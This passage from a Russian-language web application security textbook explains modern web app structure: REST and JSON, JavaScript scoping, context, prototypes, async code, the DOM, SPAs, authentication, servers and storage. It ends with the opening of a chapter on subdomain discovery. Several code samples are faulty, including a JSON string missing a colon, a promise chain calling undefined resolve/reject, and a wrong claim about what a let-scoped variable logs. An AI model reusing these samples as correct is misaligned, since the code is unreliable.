"videoEditor": "abc123-2005",
"imageEditor": "123-456-789"
}
}

}

Большинство современных веб-приложений, с которыми вам предстоит столкнуться, построены с учетом требований REST (их называют RESTful API).
Или же это может быть REST-реализация, использующая формат JSON. Спе­
цификацию XML и SOAP API в основном можно встретить в корпоративных
приложениях, где они необходимы для обеспечения совместимости с предыдущими версиями.
Понимать структуру REST API важно для обратного проектирования уровней
API веб-приложения. Знание основных принципов REST API станет вашим
преимуществом, ведь именно по ним построены многие приложения, с которыми вам предстоит иметь дело. Кроме того, REST API дает доступ ко множеству
инструментов, которые вы, возможно, захотите использовать или интегрировать
в свой рабочий процесс.

Формат JSON
Архитектурная спецификация REST определяет сопоставление HTTP-методов
с ресурсами (конечными точками API и алгоритмами работы) на сервере. Большинство современных REST API передают данные в формате JSON.

66  Глава 3. Структура современных веб-приложений

Важно учитывать, что сервер приложения должен взаимодействовать с его клиентом (обычно это какой-то код в браузере или в мобильном приложении). Без этого
невозможно сохранять информацию о состоянии на разных устройствах и само
состояние между учетными записями. Все состояния должны храниться локально.
Поскольку современные веб-приложения требуют интенсивного взаимодействия клиент–сервер (для нисходящего обмена данными и восходящих запросов
в виде HTTP-методов), отправлять данные в свободном формате невозможно.
Формат передачи данных должен быть единым.
Одно из возможных решений — это JSON, открытый (некоммерческий) текстовый формат обмена данными, имеющий ряд интересных характеристик:
он очень лаконичный (не требует большой пропускной способности
сети);
легко интерпретируется (это снижает нагрузку на серверное/клиентское оборудование);
легко читается человеком;
допускает иерархическое представление данных (что позволяет выражать сложные соотношения);
представления объектов JSON и объектов JavaScript очень похожи, что
упрощает создание новых объектов JSON в браузере.
Все основные современные браузеры имеют встроенную (и быструю) поддержку
кода JSON, что, в дополнение к ранее перечисленным свойствам делает JSON
отличным форматом для передачи данных сервером, не сохраняющим данные,
и браузером.
Пример JSON:
{
"first": "Sam",
"last": "Adams",
"email": "sam.adams@company.com",
"role": "Engineering Manager",
"company": "TechCo.",
"location": {
"country": "USA",
"state": "california",
"address": "123 main st.",
"zip": 98404
}
}

Формат JSON  67

В браузере JSON может быть легко преобразован в объект JavaScript:
const jsonString = `{
"first": "Sam",
"last": "Adams",
"email" "sam.adams@company.com",
"role": "Engineering Manager",
"company": "TechCo.",
"location": {
"country": "USA",
"state": "california",
"address": "123 main st.",
"zip": 98404
}
}`;
// преобразуем отправленную сервером строку в объект
const jsonObject = JSON.parse(jsonString);

Формат JSON гибкий, лаконичный и простой в использовании. Он не лишен
недостатков, ведь для облегчения формата приходится чем-то жертвовать. Но
об этом мы поговорим позже при оценке различий в безопасности JSON и его
конкурентов. Сейчас же важно просто запомнить, что этот формат используется
для значительного количества сетевых запросов от браузера к серверу.
Научитесь читать код JSON и установите в браузер или в редактор кода подключаемый модуль для форматирования строк JSON. Возможность их быстрого
анализа и поиска конкретных ключей позволит в короткий срок тестировать на
проникновение широкий спектр API.

JavaScript
В книге мы будем постоянно обсуждать клиентские и серверные приложения.
Сервер — это компьютер (обычно мощный) в дата-центре (иногда виртуальном,
называемом облаком), который отвечает за обработку запросов к веб-сайту. Иногда речь идет о кластере серверов, а порой имеют в виду один легкий сервер,
используемый для разработки или записи данных об операциях.
Клиентом называется любое устройство, с помощью которого пользователь
управляет веб-приложением. Это может быть мобильный телефон, киоск в торговом центре или сенсорный экран в электромобиле. Но в контексте этой книги
в качестве клиента мы будем рассматривать обычный браузер.

68  Глава 3. Структура современных веб-приложений

Рис. 3.2. Пример кода JavaScript
На сервере можно запускать практически любое ПО на любом языке. Современные веб-серверы работают с программным обеспечением на Python, Java,
JavaScript, C ++ и т. п. Клиентам (в частности, браузерам) такая роскошь недоступна. JavaScript (JS) — это единственный динамический язык для клиентских
сценариев в браузерах, который был изначально разработан только для этих
целей. Теперь он используется во многих приложениях — от мобильных до
интернета вещей (IoT). Пример кода представлен на рис. 3.2.
Именно на JS написано большинство примеров в этой книге. Когда это возможно,
бэкенд также пишется на JavaScript, чтобы не тратить время на переключение
контекста.
Я постараюсь сделать все примеры кода на JavaScript как можно более простыми,
но иногда мне придется добавлять конструкции, которые не так популярны (или
же хорошо известны), на других языках.
JavaScript уникален, потому что его разработка связана с развитием браузеров
и связанного с ними программного интерфейса DOM. Соответственно, у него
есть особенности, о которых стоит узнать, прежде чем двигаться дальше.

Переменные и их область видимости
В стандарте ES6 языка JavaScript (последней версии) определить переменную
можно четырьмя способами:
// глобальная область видимости
age = 25;
// видимость внутри функции
var age = 25;

JavaScript  69

// блочная область видимости
let age = 25;
// блочная область видимости без возможности переназначения
const age = 25;

Внешне они похожи друг на друга, но функционально различаются.
age = 25
Без ключевых слов var, let или const любая определенная переменная окажется в глобальной области видимости. Это означает, что доступ к переменной есть у любого глобально определенного объекта. По большому счету это
считается плохой практикой и может стать причиной серьезных уязвимостей
в системе безопасности и ошибок.
Следует отметить, что все переменные без идентификатора также будут иметь
указатель, добавленный к объекту window браузера:
// определение глобальной переменной типа integer
age = 25;
// прямой вызов (возвращает 25)
console.log(age);
// вызов через указатель на объект window (возвращает 25)
console.log(window.age);

Это может вызвать конфликт в пространстве имен объекта window (именно его
интерфейс DOM использует для поддержания состояния окна браузера) — еще
одна хорошая причина избегать подобной практики.
var age = 25
Переменная, определенная с ключевым словом var, привязана к ближайшей
функции или, если блок функции не задан, оказывается глобальной.
Возможно, некоторая путаница, связанная с такими переменными, в итоге привела к добавлению в язык ключевого слова let.
const func = function() {
if (true) {
// переменная age определяется внутри блока if
var age = 25;
}
/*

70  Глава 3. Структура современных веб-приложений

* вывод значения age даст 25
*
* это происходит, потому что ключевое слово var связано с
* ближайшей функцией, а не с ближайшим блоком.
*/
console.log(age);
};

Здесь переменная определяется ключевым словом var и значением 25. В большинстве других языков при попытке вывести ее значение в консоль оно окажется неопределенным. Ключевое слово var ограничивает область видимости
функцией, а не блоком. Это может привести к путанице при отладке.
let age = 25
В версии ECMAScript 6 (спецификации для JavaScript) появились два новых
ключевых слова — let и const, определяющие объект так же, как и в других
современных языках.
Как несложно догадаться, ключевое слово let создает переменную с блочной
областью видимости:
const func = function() {
if (true) {
// переменная age определяется внутри блока if
let age = 25;
}
/*
* На этот раз команда console.log(age) вернет `undefined`.
*
* Потому что, в отличие от `var`, `let` привязывается к ближайшему блоку.
* Считается, что связывание области видимости с ближайшим
* блоком, а не с функцией увеличивает читабельность
* и уменьшает количество ошибок, связанных с областью видимости.
*/
console.log(age);
};

const age = 25
Ключевое слово const, как и let, определяет переменную в блочной видимости без права переназначения. Это напоминает действие модификатора
final в таких языках, как Java.
const func = function() {
const age = 25;

JavaScript  71

/*
* Это даст: TypeError: ошибку присвоения переменной `age`
*
* Как и `let`, `const` связывает область видимости с блоком.
* Основное отличие состоит в невозможности поменять значение
* после создания экземпляра переменной.
*
* Свойства объекта, созданного с ключевым словом const,
* можно менять. Это сохраняет неизменным указатель на переменную
* `age` в памяти, позволяя менять ее значение или свойства.
*/
age = 35;

};

Словом, чтобы избежать ошибок и улучшить читаемость кода, нужно всегда
использовать ключевые слова let и const.

Функции
В JavaScript функции также являются объектами. Это означает, что они могут
быть назначены и переназначены с помощью тех же переменных и ключевых слов.
Это все примеры функций:
// анонимная функция
function () {};
// именованная функция с глобальной областью видимости
a = function() {};
// именованная функция с видимостью внутри функции
var a = function() { };
// именованная функция с блочной областью видимости
let a = function () {};
// именованная функция с блочной областью видимости без переназначения
const a = function () {};
// анонимная функция, наследующая родительский контекст
() => {};
// мгновенно выполняемое функциональное выражение (IIFE)
(function() { })();

Первая функция — анонимная. Ее нельзя вызвать напрямую, потому что у нее
отсутствует идентификатор. Дальше идут четыре обычные функции, область

72  Глава 3. Структура современных веб-приложений

видимости которых задана с помощью ключевых слов, как мы делали при задании переменной age. Шестая функция — стрелочная — разделяет context со
своим родителем (скоро мы рассмотрим этот тип функций более подробно).
Последним идет особый тип функции, который, вероятно, можно встретить
только в языке JavaScript, — IIFE. Эта аббревиатура расшифровывается как
immediately invoked function expression, то есть немедленно выполняемые
функциональные выражения. Такие функции запускаются сразу после загрузки
и выполняются внутри собственного пространства имен. Они применяются для
инкапсуляции блоков кода из сторонних источников.

Контекст
Если вы умеете программировать на другом языке, но хотите хорошо знать
JavaScript, то вам необходимо изучить пять базовых понятий: область видимости,
контекст, прототипное наследование, асинхронное выполнение кода и DOM.
Каждая функция в JS имеет набор свойств и прикрепленных к ней данных. Эта
информация называется контекстом функции. Контекст можно менять во время
выполнения кода. Для ссылки на объекты, хранящиеся в контексте функции,
используется ключевое слово this:
const func = function() {
this.age = 25;
// возвращает 25
console.log(this.age);
};
// возвращает undefined
console.log(this.age);

Понятно, что из-за трудности отладки контекста возникает множество досадных ошибок. Особенно часто это случается, когда контекст объекта необходимо
передать другой функции.
В языке JavaScript есть несколько вариантов решения этой проблемы, призванных помочь разработчикам в распределении контекста между функциями:
// создаем клон функции getAge() с контекстом от ageData
// и вызываем его с параметром 'joe'
const getBoundAge = getAge.bind(ageData)('joe');
// вызов функции getAge() с контекстом ageData и параметром joe
const boundAge = getAge.call(ageData, 'joe');

JavaScript  73

// вызов функции getAge() с контекстом ageData и параметром joe
const boundAge = getAge.apply(ageData, ['joe']);

Три функции, bind, call и apply, позволяют перемещать контекст от одной
функции к другой. Разница между call и apply состоит в том, что первая принимает аргументы в виде списка, а вторая — в виде массива.
Их можно легко менять местами:
// преобразуем массив в список
const boundAge = getAge.call(ageData, ...['joe']);

Стрелочная функция — еще одно новое дополнение, помогающее управлять
контекстом. Она наследует контекст своего родителя, позволяя передавать его от
родительской функции к дочерней без явного вызова функций bind, call и apply:
// глобальный контекст
this.garlic = false;
// рецепт супа (garlic — чеснок)
const soup = { garlic: true };
// стандартная функция, присоединенная к объекту soup
soup.hasGarlic1 = function() { console.log(this.garlic); } // true
// стрелочная функция, присоединенная к глобальному контексту
soup.hasGarlic2 = () => { console.log(this.garlic); } // false

Знание этих способов управления контекстом упрощает и ускоряет сбор данных о сервере или клиенте, запрограммированных на JavaScript. Можно даже
обнаружить некоторые специфические для JS уязвимости, связанные с использованием этих сложных структур.

Прототипное наследование
Множество традиционных языков, которые используются для программирования приложений на стороне сервера, предлагают наследование на основе
классов. В отличие от них в JavaScript применяется очень гибкая прототипная
система наследования. К сожалению, так как эта система встречается достаточно
редко, разработчики зачастую предпочитают преобразовывать ее в систему на
основе классов.
Классы в этом случае действуют как своего рода сценарии, определяющие
объекты. Они могут наследовать от других классов, формируя иерархические

74  Глава 3. Структура современных веб-приложений

­ тношения. Например, в языке Java подклассы создаются с помощью ключевого
о
слова extends, а объекты класса — с помощью оператора new.
В JavaScript такие типы классов не поддерживаются, но гибкость прототипного наследования позволяет точно имитировать подобную функциональность
с неким абстрактным представлением поверх системы прототипов. В системе
наследования, которая применяется в языке JavaScript, любой созданный
объект имеет свойство prototype. К нему прилагается свойство constructor,
указывающее на функцию, обладающую свойством prototype. В результате для
создания новых экземпляров объектов может использоваться любой объект,
ведь конструктор указывает на объект, содержащий прототип, который, в свою
очередь, содержит конструктор.
На первый взгляд это кажется сложным, поэтому рассмотрим пример:
/*
* Псевдокласс vehicle (автомобиль), написанный на языке JavaScript.
*
* Это намеренно упрощенный пример, демонстрирующий
* основы прототипного наследования.
*/
const Vehicle = function(make, model) {
this.make = make;
this.model = model;
this.print = function() {
return `${this.make}: ${this.model}`;
};
};
const prius = new Vehicle('Toyota', 'Prius');
console.log(prius.print());

Новые объекты в JavaScript появляются вместе с объектом __proto__, ука­
зывающим на прототип, конструктор которого вызвался во время создания
объекта.
Это позволяет сравнивать объекты вот таким способом:
const prius = new Vehicle('Toyota', 'Prius');
const charger = new Vehicle('Dodge', 'Charger');
/*
* Легко заметить, что объекты "Prius" и "Charger" были созданы
* на базе объекта "Vehicle".
*/
prius.__proto__ === charger.__proto__;

JavaScript  75

Часто прототип объекта редактируется разработчиками, что вносит путаницу
в функциональность веб-приложения. И, что самое важное, поскольку все объекты в JS доступны для редактирования, изменение свойств прототипа может
произойти в любой момент.
Интересно отметить, что в отличие от более жестких моделей наследования
в JavaScript иерархические связи могут меняться прямо во время выполнения.
Это позволяет на ходу трансформировать все объекты:
const prius = new Vehicle('Toyota', 'Prius');
const charger = new Vehicle('Dodge', 'Charger');
/*
* Ничего не получится, потому что у объекта Vehicle
* нет функции "getMaxSpeed".
*
* Так что у объектов, наследующих от Vehicle, этой функции тоже не будет
*/
console.log(prius.getMaxSpeed()); // Error: getMaxSpeed – не функция
/*
* Добавим функцию getMaxSpeed() к прототипу объекта Vehicle,
* все наследующие от него объекты обновятся в реальном времени,
* так как прототипы распространятся на потомков объекта Vehicle.
*/
Vehicle.prototype.getMaxSpeed = function() {
return 100; // мили в час
};
/*
* Так как прототип объекта Vehicle обновлен, функция
* getMaxSpeed появилась у всех дочерних объектов.
*/
prius.getMaxSpeed(); // 100
charger.getMaxSpeed(); // 100

На привыкание к прототипам обычно требуется некоторое время, но в конечном итоге мощность и гибкость этого механизма перевешивают любые трудности, возникающие в процессе обучения. Тем, кто интересуется вопросами
безопасности кода JavaScript, особенно важно хорошо разбираться в работе
прототипов, ведь лишь немногие разработчики полностью понимают эту
концепцию.
Так как вносимые в прототипы изменения передаются по всей цепочке наследования, в системах, написанных на JavaScript, существует уязвимость,
называемая Prototype Pollution. Атака состоит в модификации родительского
объекта, автоматически вызывающей изменение функциональности дочерних.

76  Глава 3. Структура современных веб-приложений

Асинхронное выполнение кода
Асинхронность относится к тем концепциям, которые «трудно понять, легко
запомнить» и которые часто встречаются в сетевом программировании. Браузерам на регулярной основе приходится обмениваться данными с серверами,
причем время между запросом и получением ответа сильно варьируется, потому
что зависит от таких факторов, как размер полезной нагрузки, время задержки
и время обработки данных на сервере. Для контроля этой вариативности часто
применяется асинхронное выполнение кода.
В модели синхронного программирования операции выполняются в порядке
их следования:
console.log('a');
console.log('b');
console.log('c');
// a
// b
// c

Выполнение этого кода каждый раз будет давать один и тот же результат: abc.
В модели асинхронного программирования интерпретатор каждый раз будет по
очереди считывать три функции, но порядок их выполнения может отличаться.
Рассмотрим пример, в котором используется функция асинхронного вывода
отладочной информации:
// --- Попытка #1 --async.log('a');
async.log('b');
async.log('c');
// a
// b
// c
// --- Попытка #2 --async.log('a');
async.log('b');
async.log('c');
// a
// c
// b
// --- Попытка #3 --async.log('a');

JavaScript  77

async.log('b');
async.log('c');
// a
// b
// c

Во втором случае вывод информации произошел не по порядку следования
функций. Почему так получилось?
В сетевом программировании выполнение запросов занимает разное время. Более того, ответа можно вообще не дождаться. В веб-приложениях, написанных на
JavaScript, такие ситуации часто решают с помощью асинхронного выполнения
запросов. Это дает значительное улучшение производительности. Асинхронный
код порой работает в десятки раз быстрее синхронного. Вместо того чтобы отправлять новый запрос только после получения ответа на предыдущий, запросы
отправляются одновременно, а затем через программу указывается, что должно
произойти после их выполнения.
В старых версиях JavaScript это обычно делалось с помощью обратных вызовов
(callbacks):
const config = {
privacy: public,
acceptRequests: true
};
/*
* Сначала запрашиваем с сервера объект user.
* После выполнения запроса запрашиваем профиль пользователя.
* После выполнения запроса задаем конфигурацию профиля.
* После выполнения запроса выводим на консоль "Получилось!".
*/
getUser(function(user) {
getUserProfile(user, function(profile) {
setUserProfileConfig(profile, config, function(result) {
console.log('Получилось!');
});
});
});

Обратные вызовы намного быстрее и эффективнее синхронной модели, но их
очень сложно читать и отлаживать.
Более поздняя философия программирования предлагала создать объект многократного использования, который после завершения текущей функции будет
вызывать следующую. Речь идет о так называемых обещаниях, или промисах
(promises), которые сегодня используются во многих ЯП:

78  Глава 3. Структура современных веб-приложений

const config = {
privacy: public,
acceptRequests: true
};
/*
* Сначала запрашиваем с сервера объект user.
* После выполнения запроса запрашиваем профиль пользователя.
* После выполнения запроса задаем конфигурацию профиля.
* В конце происходит обработка ошибок.
*/
const promise = new Promise((resolve, reject) => {
getUser(function(user) {
if (user) { return resolve(user); }
return reject();
});
}).then((user) => {
getUserProfile(user, function(profile) {
if (profile) { return resolve(profile); }
return reject();
});
}).then((profile) => {
setUserProfile(profile, config, function(result) {
if (result) { return resolve(result); }
return reject();
});
}).catch((err) => {
console.log('ошибка!');
});

Оба фрагмента кода реализуют одну и ту же логическую схему. Разница только
в удобстве чтения и организации. Код, содержащий промисы, можно разбить на
еще более мелкие фрагменты, что увеличит его длину, но значительно упростит
обработку ошибок. Промисы и обратные вызовы взаимозаменяемы и могут использоваться вместе, в зависимости от предпочтений программиста.
Еще один способ написания асинхронного кода — функция async. В отличие
от обычных функций, она специально добавлена, чтобы упростить процесс
асинхронного программирования.
Рассмотрим пример:
const config = {
privacy: public,
acceptRequests: true
};
/*

JavaScript  79

* Сначала запрашиваем с сервера объект user.
* После выполнения запроса запрашиваем профиль пользователя.
* После выполнения запроса задаем конфигурацию профиля.
*/
const setUserProfile = async function() {
let user = await getUser();
let userProfile = await getUserProfile(user);
let setProfile = await setUserProfile(userProfile, config);
};
setUserProfile();

Обратите внимание, как легко читается такой код. В этом-то и весь смысл!
Поставленное перед функцией ключевое слово async превращает ее в промис.
Еще одно ключевое слово, await, заставляет интерпретатор остановиться и подождать выполнения промиса. При этом код вне асинхронной функции будет
выполняться обычным образом. Со временем вы все чаще будете видеть подобные вещи в коде как на стороне клиента, так и на стороне сервера.

Программный интерфейс DOM браузера
Итак, вы получили представление об асинхронном программировании, которое
часто встречается в интернете и в клиент-серверных приложениях. Осталась
еще одна связанная с языком JavaScript концепция, которую вам нужно знать:
программный интерфейс DOM (Document Object Model — объектная модель
документа).
Это структурированное представление данных, используемое браузером для
управления состоянием. На рис. 3.3 показан объект window — один из стандартных объектов верхнего уровня, определенных спецификацией DOM.
Как и любой хороший язык, JavaScript опирается на мощную стандартную биб­
лиотеку. Эта библиотека известна как DOM.
Модель DOM предоставляет стандартные хорошо протестированные и эффективные функциональные возможности, реализованные во всех основных
браузерах. Это обеспечивает идентичное или почти идентичное выполнение
кода в любом браузере.
В отличие от других стандартных библиотек, DOM существует не для того,
чтобы закрывать функциональные дыры в языке или обеспечивать общую
функциональность (это вторичное назначение DOM). Ее основное назначение —
интерфейс, позволяющий определить иерархическое дерево узлов, из которых

80  Глава 3. Структура современных веб-приложений

состоит веб-страница. Скорее всего, вы уже случайно вызвали функции DOM,
думая, что это функции JS. Например, document.querySelector () или document.
implementation.

Рис. 3.3. Объект window в модели DOM
Основные объекты в DOM — это window и document. Они оба тщательно определены в спецификации WhatWG.
Кем бы вы ни были — разработчиком JavaScript, тестировщиком веб-приложений
или инженером по безопасности, — глубокое понимание программного интерфейса DOM и его роли в веб-приложениях помогает при поиске уязвимостей на
уровне представления. Интерфейс DOM можно рассматривать как фреймворк,
из которого написанные на JavaScript приложения развертываются для конеч-

JavaScript  81

ных пользователей. Имейте в виду, что не все дыры в безопасности, связанные
со сценариями, появились как результат ошибок в коде. Иногда они могут быть
результатом неправильной реализации DOM в браузере.

Фреймворки для SPA
Раньше веб-сайты, как правило, строились как комбинация ad hoc сценария
для управления DOM и большого количества шаблонов HTML-кода. Такая
модель не была масштабируемой. Она подходила для доставки статического
контента конечному пользователю, но не годилась для сложных приложений
со множеством алгоритмов.
Софт для офисных приложений того периода обладал надежной функциональностью, позволяя пользователям сохранять и поддерживать состояние
приложений. Веб-сайты же тогда такой функциональностью не обладали, хотя
многие компании предпочли бы предоставлять свои приложения через интернет,
поскольку это давало множество преимуществ — от простоты использования
до предотвращения пиратства.
Для устранения разрыва в функциональности сайтов и офисных приложений
были разработаны фреймворки одностраничных приложений (single-page
application, SPA). Они позволяют разрабатывать сложные приложения, хранящие данные о своем внутреннем состоянии и составленные из компонентов
пользовательского интерфейса, каждый из которых имеет автономный жизненный цикл, от рендеринга до выполнения логических операций.

Рис. 3.4. Популярный фреймворк для одностраничных приложений VueJS, построенный
на базе веб-компонентов

82  Глава 3. Структура современных веб-приложений

Сегодня фреймворки SPA широко распространены в Сети; они поддерживают
самые большие и сложные приложения (такие как Facebook, Twitter и YouTube)
и обеспечивают им почти такую же функциональность, как у приложений
для ПК.
Крупнейшие современные SPA-фреймворки с открытым исходным кодом —
это ReactJS, EmberJS, VueJS (рис. 3.4) и AngularJS. Все они построены на базе
JavaScript и DOM, что несет дополнительные сложности для безопасности
и функциональности.

Системы аутентификации и авторизации
Большинство современных приложений состоят из клиентов (браузеров/
смартфонов) и серверов, где хранятся отправленные клиентами данные. А значит, нужны системы, гарантирующие, что доступ к сохраненным данным будет
предоставляться только пользователю, которому они принадлежат.
Термин «аутентификация» применяется для описания потока данных, позволяющего системе идентифицировать пользователя. Другими словами, системы аутентификации дают понять, что «joe123» на самом деле «joe123», а не
«susan1988».
Термин «авторизация» используется для описания процесса внутри системы,
позволяющего пользователю подтвердить право на доступ к определенным ресурсам. Например, у «joe123» должен быть доступ только к тем личным фото,
которые он сам загрузил, а для «susan1988» эти фотографии должны быть недоступны.
Оба процесса имеют решающее значение для контроля безопасности работы
веб-приложений.

Аутентификация
Ранние системы аутентификации были простыми. Например, базовая аутентификация HTTP осуществлялась путем прикрепления к каждому запросу заголовка
с данными авторизации. Заголовок состоял из строки Basic: . В результате вместе с запросом сервер получал комбинацию
«имя пользователя — пароль» и сверял ее с базой данных. Очевидно, что у такой
схемы аутентификации есть несколько недостатков, например возможность
утечки учетных данных, причем разными способами — от утечки данных из незашифрованного HTTP в общем сегменте Wi-Fi до простых атак XSS.

Системы аутентификации и авторизации  83

К более поздним разработкам относится дайджест-аутентификация, при
которой вместо кодировки base64 используются криптографические хеши.
Позже появилось множество новых методов и архитектур для аутентификации, в том числе методы, которые не используют пароли и не требуют
внешних устройств.
Сегодня выбор архитектуры аутентификации для веб-приложения зависит от
характера бизнеса. Например, сайтам, которым требуется интеграция с более
крупными сайтами, отлично подходит протокол OAuth. Этот протокол позволяет крупному сайту (например, Facebook или Google) предоставлять сайтупартнеру токен, подтверждающий личность пользователя. Пользователю этот
механизм также удобен, потому что обновлять данные в этом случае требуется
только на одном сайте. Но за это удобство приходится платить уменьшением
безопасности, ведь один взломанный сайт дает доступ сразу ко множеству
профилей.
Базовая аутентификация по HTTP и дайджест-аутентификация широко используются и сегодня, причем более популярен второй вариант, поскольку
он больше защищен от перехвата данных и атак повторного воспроизведения.
Часто они используются совместно с двухфакторной аутентификацией, чтобы
гарантировать, что токены не скомпрометированы и в систему вошел именно
тот пользователь, который имеет на этот право.

Авторизация
Следующий после аутентификации шаг — авторизация. Системы авторизации
сложнее классифицировать, поскольку эта процедура во многом зависит от кода,
реализующего функциональность приложения.
Вообще-то в коде хорошо спроектированных приложений есть класс
authorization, отвечающий за проверку доступа к ресурсам или функциональности.
В плохо написанном API процедура авторизации каждый раз воспроизводится вручную. Если приложение раз за разом реализует проверку авторизации
в каждом API, скорее всего, окажется, что в некоторых из них эта проверка выполняется недостаточно тщательно.
На ресурсах общего доступа с проверкой полномочий, как правило, есть обновления настроек/профиля, сброс пароля, чтение/написание личных сообщений,
различные платные функции, а иногда и расширение пользовательских функций
(например, добавление возможности модерации).

84  Глава 3. Структура современных веб-приложений

Веб-серверы
Современное клиент-серверное веб-приложение полагается на ряд технологий,
которые обеспечивают корректность функционирования компонентов как на
стороне сервера, так и на стороне клиента.
В случае с сервером код, отвечающий за логику приложения, работает поверх
программного пакета веб-сервера. Благодаря этому разработчики приложений
могут не беспокоиться по поводу обработки запросов и управления процессами. Само же программное обеспечение веб-сервера работает в операционной
системе (обычно это какой-то дистрибутив Linux, например Ubuntu, CentOS
или RedHat), которая, в свою очередь, запущена на физическом оборудовании
в каком-нибудь центре обработки данных.
Существует несколько основных вариантов программного обеспечения для вебсерверов. Почти половину всех сайтов в мире обслуживает Apache (рис. 3.5),
поэтому логично предположить, что он применяется и для большинства вебприложений. Это программное обеспечение имеет открытый исходный код,
существует около 25 лет и поддерживает почти все дистрибутивы Linux, а также
некоторые сервера Windows.
Apache примечателен не только огромным сообществом разработчиков и пользователей и открытым исходным кодом, но и легкостью настройки и подключения. Это гибкий веб-сервер, с которым вам предстоит иметь дело еще долго. Его
самый большой конкурент — Nginx (произносится «энжин икс»). Его использует
около 30% веб-серверов, и это количество быстро растет.

Рис. 3.5. Один из крупнейших и популярнейших пакетов ПО веб-серверов Apache применяется
для разработки с 1995 года

Веб-серверы  85

Хотя Nginx можно использовать бесплатно, компания-правообладатель (в настоящее время это F5 Networks) предоставляет и платные пакеты технической
поддержки.
Nginx используется для крупномасштабных приложений с большим количеством уникальных подключений. Веб-приложения, одновременно обслуживающие множество пользователей, могут значительно улучшить производительность, перейдя с Apache на Nginx, поскольку у последнего выше нагрузочная
способность.
Стоит упомянуть и сервера IIS от Microsoft, хотя их доля снизилась из-за дорогих лицензий и отсутствия совместимости с пакетами программного обеспечения с открытым исходным кодом (OSS) на основе Unix. Веб-сервер IIS имеет
смысл при работе с различными специфическими технологиями от Microsoft,
но он вряд ли пригодится компании, пытающейся строить приложения на базе
открытого исходного кода.
Существует и множество менее распространенных веб-серверов. С точки зрения безопасности у каждого из них есть свои преимущества и недостатки. Знакомство с основной тройкой серверов пригодится вам при чтении этой книги,
когда речь пойдет о поиске уязвимостей, возникающих из-за неправильной
конфигурации сервера.

Базы данных на стороне сервера
Часто возникает необходимость сохранить данные, отправленные на сервер
клиентом, для доступа к ним в следующих сеансах. Хранение в памяти в долгосрочной перспективе ненадежно, поскольку перезагрузки и сбои могут привести к потере данных. Кроме того, оперативная память стоит дороже места на
жестком диске.
Хранение данных на диске требует определенных мер предосторожности. Ведь
нужно гарантировать надежность и скорость их сохранения и извлечения. Почти
все современные веб-приложения хранят присылаемые пользователями данные
в какой-либо базе. Выбор базы зависит от кода, реализующего функциональность приложения, и от сценариев использования. Самыми популярными до
сих пор остаются базы данных SQL.
При всей своей строгости язык программирования SQL быстр и прост в освоении. Он применим в решении любых задач, от хранения учетных данных

86  Глава 3. Структура современных веб-приложений

пользователя до управления объектами JSON или небольшими объектами
blob с изображениями. Крупнейшие системы управления базами данных —
PostgreSQL, Microsoft SQL Server, MySQL и SQLite.
Если требуется более гибкое хранилище, можно использовать системы NoSQL.
Такие базы данных, как MongoDB, DocumentDB и CouchDB, хранят информацию в виде слабо структурированных «документов», крайне гибких и допускающих редактирование в любое время. К сожалению, эти базы не так просты
и эффективны при запросах или группировке данных.
Многообразие современных веб-приложений логично привело к появлению
узкоспециализированных баз данных. Такими базами, требующими регулярной
синхронизации с основной базой данных, пользуются поисковые системы, например популярный в своей категории поисковый движок Elasticsearch.
С каждым типом базы данных связаны уникальные проблемы и риски. Внедрение SQL-кода — хорошо известный тип атаки, эффективный в случаях некорректной обработки входных данных. И атаки этого типа возможны против
любых баз данных, достаточно изучить модель построения запросов.
Зачастую современные веб-приложения могут использовать несколько баз данных одновременно. И даже отсутствие уязвимостей при генерации SQL-запросов
не означает, что запросы и определение полномочий на доступ к базам MongoDB
или Elasticsearch осуществляются безопасным образом.

Хранение данных на стороне клиента
Традиционно на стороне клиента хранился минимум данных из-за технических
ограничений и проблем с межбраузерной совместимостью. Но ситуация быстро
меняется. Многие приложения начали сохранять важные данные о своем состоянии на стороне клиента. Зачастую это конфигурационные данные или большие
сценарии, которые могут вызвать перегрузку сети, если их придется скачивать
при каждом посещении.
В большинстве случаев для хранения и доступа к данным в виде пары «ключ–
значение» используется управляемый браузером контейнер local storage —
локальное хранилище (рис. 3.6). Оно подчиняется правилу ограничения домена
(SOP), которое запрещает доменам (веб-сайтам) доступ к сохраненным данным
друг друга. Веб-приложения сохраняют состояние даже после закрытия браузера
или вкладки.

Хранение данных на стороне клиента  87

Рис. 3.6. Локальное хранилище — место для сохранения данных в виде пар ключ–значение,
поддерживаемое всеми современными браузерами
Подмножество локального хранилища, сессионное хранилище (session storage),
отличается тем, что данные хранятся только до закрытия вкладки. Этот тип хранилища можно использовать при работе с важными данными, которые должны
удаляться после смены пользователя.
В плохо спроектированных веб-приложениях хранилища данных на
стороне клиента могут стать источниками конфиденциальной информации: например, токенов аутентификации.

Наконец, для более сложных приложений во всех основных веб-браузерах
имеется поддержка IndexedDB. Это объектно-ориентированная БД на языке
JavaScript, позволяющая выполнять асинхронные запросы в фоновом режиме.
Благодаря поддержке запросов IndexedDB предлагает разработчикам гораздо
более мощный интерфейс, чем обычное локальное хранилище. Именно поэтому
IndexedDB находит применение в веб-играх и интерактивных веб-приложениях
(например, редакторах изображений).
Чтобы проверить, поддерживает ли ваш браузер IndexedDB, наберите в консоли
команду: if (window.indexedDB) {console.log ('true'); }.

Итоги
Современные веб-приложения базируются на новых, относительно недавно
появившихся технологиях. И эта расширенная функциональность дает возможность для множества новых форм атаки.

88  Глава 3. Структура современных веб-приложений

Чтобы стать экспертом по безопасности современных приложений, потребуется
не только опыт в области безопасности, но и определенные навыки разработки
ПО. Лучшие хакеры и эксперты по безопасности этого десятилетия обладают
глубокими инженерными знаниями. Они понимают, как связаны между собой
клиентская и серверная части приложений, и хорошо разбираются в их архитектуре. Они умеют анализировать поведение приложения на сервере, на стороне
клиента и в сети.
Лучшие из лучших также понимают, какие технологии обеспечивают функционирование приложений на каждом из этих трех уровней. Это позволяет
им видеть слабые места в различных базах данных, клиентских технологиях
и сетевых протоколах.
Чтобы стать опытным хакером или инженером по безопасности, вам необязательно быть экспертом в области программного обеспечения, но определенные
навыки в программировании могут вам очень пригодиться. Ведь они позволяют
ускорить процесс разведки и увидеть глубокие и сложные уязвимости, которые
невозможно обнаружить без специальной подготовки.

ГЛАВА 4

Поиск субдоменов

Для оценки и тестирования конечных точек API первым делом нужно ознакомиться со структурой домена, который использует веб-приложение. В современном мире один домен для обслуживания всего веб-приложения применяется редко. Куда чаще встречается разделение как минимум на клиентские
и серверные домены плюс на хорошо известное https://www вместо просто
https://. Умение обнаруживать и записывать субдомены, обеспечивающие работу
веб-приложения, — одна из первых техник, которая вам пригодится при сборе
предварительной информации.

